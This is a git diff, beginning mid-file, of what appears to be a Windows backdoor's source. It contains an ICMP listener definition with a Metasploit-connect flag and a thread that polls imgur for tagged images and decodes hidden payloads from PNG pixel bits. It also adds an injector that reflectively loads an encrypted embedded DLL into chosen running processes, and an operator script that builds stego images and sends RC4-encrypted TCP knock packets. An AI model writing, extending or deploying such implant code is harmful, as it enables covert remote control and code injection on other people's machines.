BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + + +#include + +// ICMP packet types +#define ICMP_ECHO_REPLY 0 +#define ICMP_DEST_UNREACH 3 +#define ICMP_TTL_EXPIRE 11 +#define ICMP_ECHO_REQUEST 8 + +// Minimum ICMP packet size, in bytes +#define ICMP_MIN 8 + +enum IcmpFlags +{ + ICMP_PORT_OPEN = 1, + ICMP_PORT_CLOSE = 2, + ICMP_MSF_CONNECT = 4, + ICMP_FLAGS_MAX +}; + +#pragma pack(1) + +#ifdef _WIN32 +// The IP header +struct iphdr + { + uint8_t ihl : 4; // Length of the header in dwords + uint8_t version : 4; // Version of IP + uint8_t tos; // Type of service + uint16_t tot_len; // Length of the packet in dwords + uint16_t id; // unique identifier + uint16_t frag_off; // Flags + uint8_t ttl; // Time to live + uint8_t protocol; // Protocol number (TCP, UDP etc) + uint16_t check; // IP checksum + uint32_t saddr; + uint32_t daddr; +}; + +// ICMP header +struct icmphdr { + uint8_t type; // ICMP packet type + uint8_t code; // Type sub code + uint16_t checksum; + uint16_t id; + uint16_t seq; +}; +#else +#include +#include +#endif + +#pragma pack() + +static uint16_t icmp_checksum(uint16_t* buffer, int size) +{ + unsigned long cksum = 0; + + // Sum all the words together, adding the final byte if size is odd + while (size > 1) { + cksum += *buffer++; + size -= sizeof(uint16_t); + } + if (size) { + cksum += *(uint16_t*)buffer; + } + + // Do a little shuffling + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + + // Return the bitwise complement of the resulting mishmash + return (uint16_t)(~cksum); +} diff --git a/src/vr/imgur.cpp b/src/vr/imgur.cpp index 82b63ce..161f061 100644 --- a/src/vr/imgur.cpp +++ b/src/vr/imgur.cpp @@ -1,153 +1,170 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#include -#include -#include -#include "../shared/context.h" -#include "../shared/payload.h" -#include "../shared/winhttp.h" -#include "../shared/coroutine.h" -#include "../shared/debug.h" -#include "../shared/math.h" -#include "../config.h" - -bool png_has_enough_pixels(size_t pixel_bytes_count, unsigned need_bytes) -{ - return need_bytes * 4 < pixel_bytes_count; -} - -uint8_t decode_bits(stl::vector::const_iterator& it) -{ - return *it++ & 3; -} - -uint8_t decode_byte(stl::vector::const_iterator& it) -{ - return decode_bits(it) | decode_bits(it) << 2 | decode_bits(it) << 4 | decode_bits(it) << 6; -} - -uint16_t decode_short(stl::vector::const_iterator& it) -{ - return decode_byte(it) | decode_byte(it) << 8; -} - -bool imgur_process_png(context& ctx, const uint8_t* data, unsigned len) -{ - stl::vector pixels; - unsigned long w, h; - if (decodePNG(pixels, w, h, data, len, false) == 0) - { - if (png_has_enough_pixels(pixels.size(), 2)) - { - stl::vector::const_iterator it = pixels.begin(); - uint16_t payload_len = ntohs(decode_short(it)); - if (png_has_enough_pixels(pixels.size(), 2 + payload_len)) - { - stl::vector payload(payload_len, 0); - for (auto j = 0; j < payload_len; j++) - payload[j] = decode_byte(it); - - return handle_payload(ctx, payload.data(), payload_len); - } - } - } - return false; -} - -#pragma clang diagnostic push -#pragma clang diagnostic ignored "-Wmissing-noreturn" -void imgur_thread(context& ctx) -{ - stl::string client_id = vr_imgur_client_id; - - time_t http_last_timestamp = time(nullptr); - stl::vector pool(10000); - - for (;;) - { - HttpRequest req{}; - HttpResponse response = send_http_request(req, stl::string() + "https://api.imgur.com/3/gallery/t/" + vr_imgur_tag + "/time/week/0?client_id=" + client_id); - if (response.status == HttpOk) - { - stl::vector response_data(response.content.c_str(), response.content.c_str() + response.content.size() + 1); - - const json_t* j_root = json_create(response_data.data(), pool.data(), (unsigned)pool.size()); - if (j_root == nullptr) - { - LOG_ERROR("imgur api root is null. Malformed response or pool too small"); - break; - } - - const json_t* j_success = json_getProperty(j_root, "success"); - if (j_success == nullptr || j_success->type != JSON_BOOLEAN || !json_getBoolean(j_success)) - { - LOG_ERROR("imgur api request failed"); - break; - } - - const json_t* j_data = json_getProperty(j_root, "data"); - if (!j_data || j_data->type != JSON_OBJ) - { - LOG_ERROR("imgur api request did not return 'data'"); - break; - } - - const json_t* j_items = json_getProperty(j_data, "items"); - if (!j_items || j_items->type != JSON_ARRAY) - { - LOG_ERROR("imgur api request did not return 'items'"); - break; - } - - for (const json_t* j_img = json_getChild(j_items); j_img != nullptr; j_img = json_getSibling(j_img)) - { - const json_t* j_datetime = json_getProperty(j_img, "datetime"); - const json_t* j_cover = json_getProperty(j_img, "cover"); - if (j_datetime && j_datetime->type == JSON_INTEGER && j_cover && j_cover->type == JSON_TEXT) - { - auto timestamp = json_getInteger(j_datetime); - if (timestamp <= http_last_timestamp) - break; - - auto url = "https://i.imgur.com/" + stl::string(json_getValue(j_cover)) + ".png"; - LOG_DEBUG("Querying %s", url.c_str()); - response = send_http_request(req, url); - if (response.status == HttpOk) - { - if (imgur_process_png(ctx, (unsigned char*) response.content.c_str(), - static_cast(response.content.size()))) - http_last_timestamp = timestamp; - else - LOG_ERROR("Invalid png at %s", url.c_str()); - } - } - else - LOG_ERROR("imgur api request item does not have 'datetime' or 'cover'"); - } - } - - yield(vr_imgur_tag_query_time + random(0, vr_imgur_tag_query_time_jitter)); - } -} -#pragma clang diagnostic pop +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include +#include +#include "vr-config.h" +#include "../shared/context.h" +#include "../shared/payload.h" +#include "../shared/winhttp.h" +#include "../shared/coroutine.h" +#include "../shared/debug.h" +#include "../shared/math.h" + +bool png_has_enough_pixels(size_t pixel_bytes_count, unsigned need_bytes) +{ + return need_bytes * 4 < pixel_bytes_count; +} + +uint8_t decode_bits(stl::vector::const_iterator& it) +{ + return *it++ & 3; +} + +uint8_t decode_byte(stl::vector::const_iterator& it) +{ + return decode_bits(it) | decode_bits(it) << 2 | decode_bits(it) << 4 | decode_bits(it) << 6; +} + +uint16_t decode_short(stl::vector::const_iterator& it) +{ + return decode_byte(it) | decode_byte(it) << 8; +} + +bool imgur_process_png(context& ctx, const uint8_t* data, unsigned len) +{ + stl::vector pixels; + unsigned long w, h; + if (decodePNG(pixels, w, h, data, len, false) == 0) + { + if (png_has_enough_pixels(pixels.size(), 2)) + { + stl::vector::const_iterator it = pixels.begin(); + uint16_t payload_len = ntohs(decode_short(it)); + if (png_has_enough_pixels(pixels.size(), 2 + payload_len)) + { + stl::vector payload(payload_len, 0); + for (auto j = 0; j < payload_len; j++) + payload[j] = decode_byte(it); + + return handle_payload(ctx, payload.data(), payload_len); + } + } + } + return false; +} + +void imgur_thread(context& ctx) +{ + stl::string client_id, imgur_tag; + int imgur_tag_query_time = 15; + int imgur_tag_query_time_jitter = 3; + + if (const json_t* prop = json_getProperty(ctx.root, xorstr_("imgur_client_id"))) + client_id = json_getValue(prop); + + if (const json_t* prop = json_getProperty(ctx.root, xorstr_("imgur_tag"))) + imgur_tag = json_getValue(prop); + + if (const json_t* prop = json_getProperty(ctx.root, xorstr_("imgur_tag_query_time"))) + imgur_tag_query_time = json_getInteger(prop); + + if (const json_t* prop = json_getProperty(ctx.root, xorstr_("imgur_tag_query_time_jitter"))) + imgur_tag_query_time_jitter = json_getInteger(prop); + + if (client_id.size() == 0 || imgur_tag.size() == 0) + { + LOG_DEBUG("imgur is not configured."); + return; + } + + time_t http_last_timestamp = time(nullptr); + stl::vector pool(10000); + + for (;;) + { + HttpRequest req{}; + HttpResponse response = send_http_request(req, stl::string() + "https://api.imgur.com/3/gallery/t/" + imgur_tag + "/time/week/0?client_id=" + client_id); + if (response.status == HttpOk) + { + stl::vector response_data(response.content.c_str(), response.content.c_str() + response.content.size() + 1); + + const json_t* j_root = json_create(response_data.data(), pool.data(), (unsigned)pool.size()); + if (j_root == nullptr) + { + LOG_ERROR("imgur api root is null. Malformed response or pool too small"); + break; + } + + const json_t* j_success = json_getProperty(j_root, "success"); + if (j_success == nullptr || j_success->type != JSON_BOOLEAN || !json_getBoolean(j_success)) + { + LOG_ERROR("imgur api request failed"); + break; + } + + const json_t* j_data = json_getProperty(j_root, "data"); + if (!j_data || j_data->type != JSON_OBJ) + { + LOG_ERROR("imgur api request did not return 'data'"); + break; + } + + const json_t* j_items = json_getProperty(j_data, "items"); + if (!j_items || j_items->type != JSON_ARRAY) + { + LOG_ERROR("imgur api request did not return 'items'"); + break; + } + + for (const json_t* j_img = json_getChild(j_items); j_img != nullptr; j_img = json_getSibling(j_img)) + { + const json_t* j_datetime = json_getProperty(j_img, "datetime"); + const json_t* j_cover = json_getProperty(j_img, "cover"); + if (j_datetime && j_datetime->type == JSON_INTEGER && j_cover && j_cover->type == JSON_TEXT) + { + auto timestamp = json_getInteger(j_datetime); + if (timestamp <= http_last_timestamp) + break; + + auto url = "https://i.imgur.com/" + stl::string(json_getValue(j_cover)) + ".png"; + LOG_DEBUG("Querying %s", url.c_str()); + response = send_http_request(req, url); + if (response.status == HttpOk) + { + if (imgur_process_png(ctx, (unsigned char*) response.content.c_str(), + static_cast(response.content.size()))) + http_last_timestamp = timestamp; + else + LOG_ERROR("Invalid png at %s", url.c_str()); + } + } + else + LOG_ERROR("imgur api request item does not have 'datetime' or 'cover'"); + } + } + + yield((imgur_tag_query_time + random(0, imgur_tag_query_time_jitter)) * 60 * 1000); + } +} diff --git a/src/vr/injector.cpp b/src/vr/injector.cpp new file mode 100644 index 0000000..d8e38bf --- /dev/null +++ b/src/vr/injector.cpp @@ -0,0 +1,145 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include "../shared/LoadLibraryR.h" +#include +#include +#include +#include "../shared/coroutine.h" +#include "../shared/debug.h" +#include "../shared/math.h" +#include "../shared/resources.h" +#include "../shared/context.h" +#include "vr-config.h" +#include "gts.dll.h" + +void injector_thread(context& ctx) +{ + int scan_time = 1; + int scan_time_jitter = 1; + const json_t* payloads = nullptr; + if (const json_t* injector = json_getProperty(ctx.root, xorstr_("injector"))) + payloads = json_getProperty(injector, xorstr_("payloads")); + + if (payloads == nullptr || json_getType(payloads) != JSON_ARRAY) + { + LOG_DEBUG("Injector is not configured."); + return; + } + + stl::vector pid_seen; + stl::vector pid_current; + while (coroutine_loop::current_loop->is_active()) + { + // User always runs one or more instances of explorer.exe. Find all these processes and get their session ids. + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) + { + LOG_ERROR("CreateToolhelp32Snapshot failed %d", GetLastError()); + return; + } + + pid_current.clear(); + PROCESSENTRY32 entry{}; + entry.dwSize = sizeof(entry); + if (Process32First(hSnapshot, &entry)) + { + do + { + bool seen = false; + pid_current.push_back(entry.th32ProcessID); + for (int i = 0; i < pid_seen.size() && !seen; i++) + seen = pid_seen[i] == entry.th32ProcessID; + + if (!seen) + { + for (const json_t* payload = json_getChild(payloads); payload != nullptr; payload = json_getSibling(payload)) + { + if (json_getType(payload) != JSON_OBJ) + { + LOG_WARNING("Incorrect injector json config."); + continue; + } + + // Verify process name + if (const json_t* targets = json_getProperty(payload, xorstr_("targets"))) + { + if (json_getType(targets) != JSON_ARRAY) + { + LOG_WARNING("Incorrect injector json config."); + continue; + } + + for (const json_t* target = json_getChild(targets); target != nullptr; target = json_getSibling(targets)) + { + if (stricmp(json_getValue(target), entry.szExeFile) == 0) + { + // Initialize per-payload values + stl::vector payload_data; + int64_t seed = 0; + const char* payload_type; + if (const json_t* item_type = json_getProperty(payload, xorstr_("type"))) + { + payload_type = json_getValue(item_type); + if (strcmp(json_getValue(item_type), xorstr_("gts")) == 0) + { + seed = combine_hash(vr_mutant_gts, entry.th32ProcessID); + payload_data.resize(RSRC_GTS_SIZE); + if (!resource_open(payload_data, RSRC_GTS_DATA, RSRC_GTS_DATA_SIZE, RSRC_GTS_KEY, RSRC_GTS_KEY_SIZE)) + payload_data.clear(); + } + } + + if (!payload_data.empty()) + { + if (!mutex_is_locked(seed)) + { + HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | + PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, entry.th32ProcessID); + if (hProcess != nullptr) + { + if (LoadRemoteLibraryR(hProcess, payload_data.data(), payload_data.size(), nullptr)) + LOG_DEBUG("%s injected to process %d", payload_type, entry.th32ProcessID); + else + LOG_DEBUG("%s injection to process %d failed", payload_type, entry.th32ProcessID); + CloseHandle(hProcess); + } + } + else + LOG_DEBUG("%s skips process %d because it is already injected.", payload_type, entry.th32ProcessID); + } + } + } + } + } + } + + memset(&entry, 0, sizeof(entry)); + entry.dwSize = sizeof(entry); + } while (Process32Next(hSnapshot, &entry)); + } + CloseHandle(hSnapshot); + pid_seen = pid_current; + yield(60_sec); + } +} diff --git a/src/vr/main.cpp b/src/vr/main.cpp index c3b8bbb..888b177 100644 --- a/src/vr/main.cpp +++ b/src/vr/main.cpp @@ -1,70 +1,63 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#include "../shared/context.h" -#include "../shared/coroutine.h" -#include "../config.h" -#include "../shared/debug.h" -#include "../shared/win32.h" -#include "../shared/process_hollowing.h" -#include "../shared/math.h" - - -void icmp_thread(context& ctx); -void imgur_thread(context& ctx); - -INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) -{ - deterministic_uuid_seed = get_machine_hash(); - - // Single instance mutex - HANDLE hMutex = nullptr; - { - stl::string vr_mutex = "Global\\" + deterministic_uuid(vr_mutant_main_instance); - hMutex = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, vr_mutex.c_str()); - if (!hMutex) - hMutex = CreateMutexA(nullptr, 0, vr_mutex.c_str()); - else - { - CloseHandle(hMutex); - return 0; - } - } - - WSADATA wsa{}; - WSAStartup(0x0202, &wsa); - - context ctx{}; - coroutine_loop loop{}; - coroutine_loop::activate(loop); - - coro_start([&ctx]() { icmp_thread(ctx); }); - coro_start([&ctx]() { imgur_thread(ctx); }); - - coro_run(); - - WSACleanup(); - ReleaseMutex(hMutex); - CloseHandle(hMutex); - return 0; -} +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include "vr-config.h" +#include "../shared/context.h" +#include "../shared/coroutine.h" +#include "../shared/debug.h" +#include "../shared/win32.h" +#include "../shared/process_hollowing.h" +#include "../shared/math.h" + + +void icmp_thread(context& ctx); +void imgur_thread(context& ctx); +void injector_thread(context& ctx); + +INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) +{ + deterministic_uuid_seed = get_machine_hash(); + + HANDLE hMutex = mutex_lock(vr_mutant_main); + if (!hMutex) + // Already running. + return 0; + + WSADATA wsa{}; + WSAStartup(0x0202, &wsa); + + context ctx{}; + coroutine_loop loop{}; + coroutine_loop::activate(loop); + + coro_start([&ctx]() { icmp_thread(ctx); }); + coro_start([&ctx]() { imgur_thread(ctx); }); + coro_start([&ctx]() { injector_thread(ctx); }); + + coro_run(); + + WSACleanup(); + ReleaseMutex(hMutex); + CloseHandle(hMutex); + return 0; +} diff --git a/vr.py b/vr.py index 3272db7..1d8a567 100755 --- a/vr.py +++ b/vr.py @@ -1,217 +1,217 @@ -#!/usr/bin/env python -# -# MIT License -# -# Copyright (c) 2019 Rokas Kupstys -# -# Permission is hereby granted, free of charge, to any person obtaining a -# copy of this software and associated documentation files (the "Software"), -# to deal in the Software without restriction, including without limitation -# the rights to use, copy, modify, merge, publish, distribute, sublicense, -# and/or sell copies of the Software, and to permit persons to whom the -# Software is furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -# DEALINGS IN THE SOFTWARE. -# -from __future__ import print_function -import argparse -import base64 -import os -import re -import socket -import struct -import sys -import time -from script.ping import send_ping, PingError -from script.png import from_array, Reader - -magic_v1 = 0xdfc14973 - - -def rc4(data, key): - data = bytearray(data) - key = bytearray(key) - x = 0 - box = list(range(256)) - for i in range(256): - x = (x + box[i] + key[i % len(key)]) % 256 - box[i], box[x] = box[x], box[i] - x = 0 - y = 0 - for i in range(len(data)): - x = (x + 1) % 256 - y = (y + box[x]) % 256 - box[x], box[y] = box[y], box[x] - data[i] ^= box[(box[x] + box[y]) % 256] - return bytes(data) - - -def set_binary_mode(stream): - if sys.platform == 'win32': - import os - import msvcrt - msvcrt.setmode(stream.fileno(), os.O_BINARY) - - -def read_stdin(): - if sys.version_info >= (3, 0): - source = sys.stdin.buffer - else: - set_binary_mode(sys.stdin) - source = sys.stdin - return source.read() - - -def bit_stream(data): - # length - for byte in struct.pack('!H', len(data)): - for shift in range(0, 8, 2): - yield (byte >> shift) & 3 - # data - for byte in data: - for shift in range(0, 8, 2): - yield (byte >> shift) & 3 - - -def pixel_stream(pixels): - for y in range(len(pixels)): - row = pixels[y] - for x in range(len(row)): - yield x, y, row[x] - - -def read_payload(path): - if path == '-': - return read_stdin() - elif os.path.isfile(path): - return open(path, 'rb').read() - elif re.match('^[0-9a-f]+$', path, re.IGNORECASE): - if sys.version_info >= (3, 0): - return bytes.fromhex(path) - else: - return path.decode('hex') - elif re.match('^[a-z0-9+/=]+$', path, re.IGNORECASE): - return base64.b64decode(path) - - -def read_key(key): - if key is not None: - return key - - config_h = open(os.path.dirname(os.path.abspath(__file__)) + '/src/config.h').read() - key_integer = re.search(r'#define +vr_shared_key +(.+)', config_h).group(1).rstrip('l').rstrip('u') - return struct.pack('= width * height * 3: - print('Image is too small', file=sys.stderr) - return -1 - - pixels = list(pixels) - for b, (x, y, c) in zip(bit_stream(payload), pixel_stream(pixels)): - c &= 0b11111100 # zero-out last two bits - c |= b # encode new to bits - pixels[y][x] = c - - from_array(pixels, 'RGB').save(args.inout) - print(args.inout, 'saved') - - elif args.action == 'tcp_knock': - command_id = 1 - payload = struct.pack('!IIB', magic_v1, int(time.time()), command_id) - payload = rc4(payload, read_key(key)) - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((args.target, int(args.port))) - s.send(payload) - s.close() - - return 0 - - -if __name__ == '__main__': - try: - sys.exit(main(sys.argv[1:])) - except PingError: - if os.name == 'nt': - print('Ping failed.', file=sys.stderr) - else: - print('Ping failed. Did you run this with "sudo"?', file=sys.stderr) - sys.exit(-1) - except KeyboardInterrupt: - sys.exit(0) +#!/usr/bin/env python +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# +from __future__ import print_function +import argparse +import base64 +import os +import re +import socket +import struct +import sys +import time +from script.ping import send_ping, PingError +from script.png import from_array, Reader + +magic_v1 = 0xdfc14973 + + +def rc4(data, key): + data = bytearray(data) + key = bytearray(key) + x = 0 + box = list(range(256)) + for i in range(256): + x = (x + box[i] + key[i % len(key)]) % 256 + box[i], box[x] = box[x], box[i] + x = 0 + y = 0 + for i in range(len(data)): + x = (x + 1) % 256 + y = (y + box[x]) % 256 + box[x], box[y] = box[y], box[x] + data[i] ^= box[(box[x] + box[y]) % 256] + return bytes(data) + + +def set_binary_mode(stream): + if sys.platform == 'win32': + import os + import msvcrt + msvcrt.setmode(stream.fileno(), os.O_BINARY) + + +def read_stdin(): + if sys.version_info >= (3, 0): + source = sys.stdin.buffer + else: + set_binary_mode(sys.stdin) + source = sys.stdin + return source.read() + + +def bit_stream(data): + # length + for byte in struct.pack('!H', len(data)): + for shift in range(0, 8, 2): + yield (byte >> shift) & 3 + # data + for byte in data: + for shift in range(0, 8, 2): + yield (byte >> shift) & 3 + + +def pixel_stream(pixels): + for y in range(len(pixels)): + row = pixels[y] + for x in range(len(row)): + yield x, y, row[x] + + +def read_payload(path): + if path == '-': + return read_stdin() + elif os.path.isfile(path): + return open(path, 'rb').read() + elif re.match('^[0-9a-f]+$', path, re.IGNORECASE): + if sys.version_info >= (3, 0): + return bytes.fromhex(path) + else: + return path.decode('hex') + elif re.match('^[a-z0-9+/=]+$', path, re.IGNORECASE): + return base64.b64decode(path) + + +def read_key(key): + if key is not None: + return key + + config_h = open(os.path.dirname(os.path.abspath(__file__)) + '/vr-config.h').read() + key_integer = re.search(r'#define +vr_shared_key +(.+)', config_h).group(1).rstrip('l').rstrip('u') + return struct.pack('= width * height * 3: + print('Image is too small', file=sys.stderr) + return -1 + + pixels = list(pixels) + for b, (x, y, c) in zip(bit_stream(payload), pixel_stream(pixels)): + c &= 0b11111100 # zero-out last two bits + c |= b # encode new to bits + pixels[y][x] = c + + from_array(pixels, 'RGB').save(args.inout) + print(args.inout, 'saved') + + elif args.action == 'tcp_knock': + command_id = 1 + payload = struct.pack('!IIB', magic_v1, int(time.time()), command_id) + payload = rc4(payload, read_key(key)) + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((args.target, int(args.port))) + s.send(payload) + s.close() + + return 0 + + +if __name__ == '__main__': + try: + sys.exit(main(sys.argv[1:])) + except PingError: + if os.name == 'nt': + print('Ping failed.', file=sys.stderr) + else: + print('Ping failed. Did you run this with "sudo"?', file=sys.stderr) + sys.exit(-1) + except KeyboardInterrupt: + sys.exit(0)